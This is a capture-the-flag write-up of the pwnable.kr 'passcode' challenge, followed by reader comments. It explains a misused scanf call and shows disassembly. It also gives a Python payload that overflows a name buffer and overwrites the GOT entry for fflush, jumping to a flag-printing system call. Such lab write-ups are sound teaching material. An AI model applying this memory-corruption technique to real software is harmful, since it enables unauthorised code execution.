[Pwnable.kr] passcode writeup – Toddler’s bottle

As the hint states, this level’s goal is to try and hack a passcode based login program. If we view the source code and/or execute the program, we’ll notice that it’s straightforward, it asks you for your name, then enter two passcodes, and then the program compares those two passcodes with the values 338150 and 13371337. So, why do we have to hack it, it’s easy right ? All we have to do is give these values to the program and that’s it, right ? Well, no, there’s a catch.

But just for the sake of it, let’s try and execute the program and see for ourselves :

passcode@ubuntu:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : nrjfl0w
Welcome nrjfl0w!
enter passcode1 : 338150
enter passcode2 : 13371337
Segmentation fault

We got a “segmentation fault”. Let’s look more closely at the source code, and pay attention to the login()  function :

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

Notice the two scanf()  function calls; as you may know, scanf()  actually takes the address of the buffer and not the variable itself, but here the author of the program passed the variable to it, instead of the address :

scanf("%d", passcode1); // it should be &passcode1
//[...]
scanf("%d", passcode2); // it should be &passcode2

And that’s why we get the segmentation fault error.

Let’s analyse the situation we have here. The function scanf()  normally takes an address, and writes the input given by the user into the memory case pointed at by that address. Now, what if instead of the address, we give it the variable itself … ? Well, it’ll consider the content of the variable as an address and will act like it, meaning it’ll convert whatever integer value contained in the variable into an address (not really converting, just trying to explain the idea), and it’ll put the input of the user into the memory case pointed at by the “convert” address.

Let’s look at the disassembly to get a somewhat clearer idea :

(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   %ebp
   0x08048565 <+1>:	mov    %esp,%ebp
   0x08048567 <+3>:	sub    $0x28,%esp
   0x0804856a <+6>:	mov    $0x8048770,%eax
   0x0804856f <+11>:	mov    %eax,(%esp)
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    $0x8048783,%eax
=> 0x0804857c <+24>:	mov    -0x10(%ebp),%edx
   0x0804857f <+27>:	mov    %edx,0x4(%esp)
   0x08048583 <+31>:	mov    %eax,(%esp)
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    0x804a02c,%eax
   0x08048590 <+44>:	mov    %eax,(%esp)
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    $0x8048786,%eax
   0x0804859d <+57>:	mov    %eax,(%esp)
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    $0x8048783,%eax
=> 0x080485aa <+70>:	mov    -0xc(%ebp),%edx
   0x080485ad <+73>:	mov    %edx,0x4(%esp)
   0x080485b1 <+77>:	mov    %eax,(%esp)
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:	movl   $0x8048799,(%esp)
   0x080485c0 <+92>:	call   0x8048450 <puts@plt>
   0x080485c5 <+97>:	cmpl   $0x528e6,-0x10(%ebp)
   0x080485cc <+104>:	jne    0x80485f1 <login+141>
   0x080485ce <+106>:	cmpl   $0xcc07c9,-0xc(%ebp)
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	movl   $0x80487a5,(%esp)
   0x080485de <+122>:	call   0x8048450 <puts@plt>
   0x080485e3 <+127>:	movl   $0x80487af,(%esp)
   0x080485ea <+134>:	call   0x8048460 <system@plt>
   0x080485ef <+139>:	leave  
   0x080485f0 <+140>:	ret    
   0x080485f1 <+141>:	movl   $0x80487bd,(%esp)
   0x080485f8 <+148>:	call   0x8048450 <puts@plt>
   0x080485fd <+153>:	movl   $0x0,(%esp)
   0x08048604 <+160>:	call   0x8048480 <exit@plt>

Notice something in the lines I marked with (=>). The program is using the instruction mov , that copies the value pointed at by the address [ebp-0x10]. But if the program was well written, it should have been compiled to lea -0xc(%ebp),%edx. The instruction lea , stands for Load Effective Address, and it will calculate the address [ebp-0x10] and loads the address into the register, NOT the value.

Let’s think how can we use this to our benefit…

The program we have, does give scanf()  a variable value instead of an address, which means, if we succeed in overwriting the initial value of the variable passcode1 , we’ll practically have the power to write any value, anywhere in the memory.

So, how can we overwrite the initial value of passcode1 ? One thought that comes to mind, is exploiting the first step of the program, when we write our names, and try to trigger a buffer overflow.

Let’s analyse this possibility. First of all let’s review the function welcome() :

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

Notice the %100s in the call scanf("%100s", name); , which means the program will only consider the first 100 character we input.

Let’s look at welcome()  disassembly :

Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   %ebp
   0x0804860a <+1>:	mov    %esp,%ebp
   0x0804860c <+3>:	sub    $0x88,%esp
   0x08048612 <+9>:	mov    %gs:0x14,%eax
   0x08048618 <+15>:	mov    %eax,-0xc(%ebp)
   0x0804861b <+18>:	xor    %eax,%eax
   0x0804861d <+20>:	mov    $0x80487cb,%eax
   0x08048622 <+25>:	mov    %eax,(%esp)
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    $0x80487dd,%eax
=> 0x0804862f <+38>:	lea    -0x70(%ebp),%edx
   0x08048632 <+41>:	mov    %edx,0x4(%esp)
   0x08048636 <+45>:	mov    %eax,(%esp)
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    $0x80487e3,%eax
   0x08048643 <+58>:	lea    -0x70(%ebp),%edx
   0x08048646 <+61>:	mov    %edx,0x4(%esp)
   0x0804864a <+65>:	mov    %eax,(%esp)
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    -0xc(%ebp),%eax
   0x08048655 <+76>:	xor    %gs:0x14,%eax
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
   0x0804865e <+85>:	call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:	leave  
   0x08048664 <+91>:	ret

This time, scanf()  did receive an address, because the variable name is a pointer to an array, so as you may notice in the line I marked with (=>), the instruction used is indeed lea -0x70(%ebp),%edx , so we can guess that the variable name  is placed at the address [ebp-0x70]. Since we want to overflow the variable name  to overwrite the variable passcode1 , we need to know the offset between these two variables, so we can exactly where we can put the address of the memory case we want to control (more on this soon).

Let’s go back to the disassembly of the function login() , and look at the instruction executed before the first scanf()  call, that concerns the variable passcode1  :

   0x0804857c <+24>:	mov    -0x10(%ebp),%edx
   0x0804857f <+27>:	mov    %edx,0x4(%esp)
   0x08048583 <+31>:	mov    %eax,(%esp)
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>

Here we can safely make a guess that passcode1  is located at [ebp-0x10].

We have what we need, let’s calculate the offset : 0x70-0x10 = 96

So we can control the content of passcode1, by feeding the variable name 96 characters, and the last 4 bytes will overwrite the initial value of passcode1 .

Now, we almost have everything we need, but what place of the memory should we try to control, and what should we put in it ?

After some thinking, it seems that the reasonable thing to do, that might work, is overwriting the address of some function that is used by the program, in the GOT table (Global Offset Table). The GOT table is used to resolve the addresses of functions that are not known during linking and are left to the dynamic linker at run time it is similar to the PLT table (Procedure Linkage Table).

We can see what are the function that are called before system() , we have fflush()  and printf() .

I decided to overwrite the address of the function fflush() . There are two ways to get the address of this function from the GOT table. Either we can follow the succession of jumps to it by looking in the disassembly of the function fflush()  in gdb :

(gdb) disas fflush
Dump of assembler code for function fflush@plt:
=> 0x08048430 <+0>:	jmp    *0x804a004
   0x08048436 <+6>:	push   $0x8
   0x0804843b <+11>:	jmp    0x8048410
End of assembler dump.

Or we can use the command objdump -R passcode to get the addresses in the table :

passcode@ubuntu:~$ objdump -R passcode

passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin
0804a000 R_386_JUMP_SLOT   printf
=> 0804a004 R_386_JUMP_SLOT   fflush
0804a008 R_386_JUMP_SLOT   __stack_chk_fail
0804a00c R_386_JUMP_SLOT   puts
0804a010 R_386_JUMP_SLOT   system
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit
0804a01c R_386_JUMP_SLOT   __libc_start_main
0804a020 R_386_JUMP_SLOT   __isoc99_scanf

Both methods enabled us to get the address of fflush()  which is 0x804a004 .

After this, it seems obvious what value we’re going to put in the address we just got : we will give scanf()  the address of the system instruction in the program, that will read for us the content of the flag file:

...
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	movl   $0x80487a5,(%esp)
   0x080485de <+122>:	call   0x8048450 <puts@plt>
=> 0x080485e3 <+127>:	movl   $0x80487af,(%esp)
   0x080485ea <+134>:	call   0x8048460 <system@plt>
...

It’s clear now that the value we have to put in the address we got is 0x80487af , so that scanf()  will overwrite the address of fflush() with the address of the system instruction, and it’ll jump directly to it, skipping the part where the program verifies the passcodes.

Let’s sum up our findings so far, so we can write our payload :

  • We need to feed the variable name  with 96 characters to overwrite the initial value of passcode1
  • The address of fflush()  is 0x804a004
  • The address we need to jump to is 0x080485e3 = 134514147

Now we can write the payload, and it looks something like this :

python -c "print 96*'A'+'\x04\xa0\x04\x08'+'134514147'"

Alright, let’s try it and see :

passcode@ubuntu:~$ python -c "print 96*'A'+'\x04\xa0\x04\x08'+'134514147'"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA134514147
passcode@ubuntu:~$ python -c "print 96*'A'+'\x04\xa0\x04\x08'+'134514147'" | ./passcode 
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

It worked !

See ya 😀

6 thoughts on “[Pwnable.kr] passcode writeup – Toddler’s bottle

  1. hey just a question here. Im new to reversing and exploiting and i have a question. i understand, i think, that you overwrite the passcode1 with the addres of fflush. i dont undersant how when fflush is executed it automatically go to 0x080485e3. I dont really know what you are overwriting with the int 134514147. How is disass fflush looks when u overwrite it? thanks !

    1. Hey fela,
      As I said, the int 134514147 is exactly 0x080485e3 in hex. So when we feed the program with that int, it’ll overwrite the address we specified (0x804a004) with the value 0x080485e3. So when the program will call fflush(), it’ll execute this instruction :
      jmp *0x804a004
      Which means it’ll jump to the address specified in the address 0x804a004 (notice the * which means it’s a pointer). Since we overwrote it with the address 0x080485e3, it’ll automatically jump to it.
      I hope I was clear,I can make more explanation if you need.

  2. Hello, nrjfl0w
    Amazing writeup, but some clauses are still not clear for me. I ran gdb no less than 30 times, got the main idea, but …
    Why overlapping is present? I mean, why the argument of the printf is located in that buf[100]? Disappointed.

Leave a Reply

Your email address will not be published. Required fields are marked *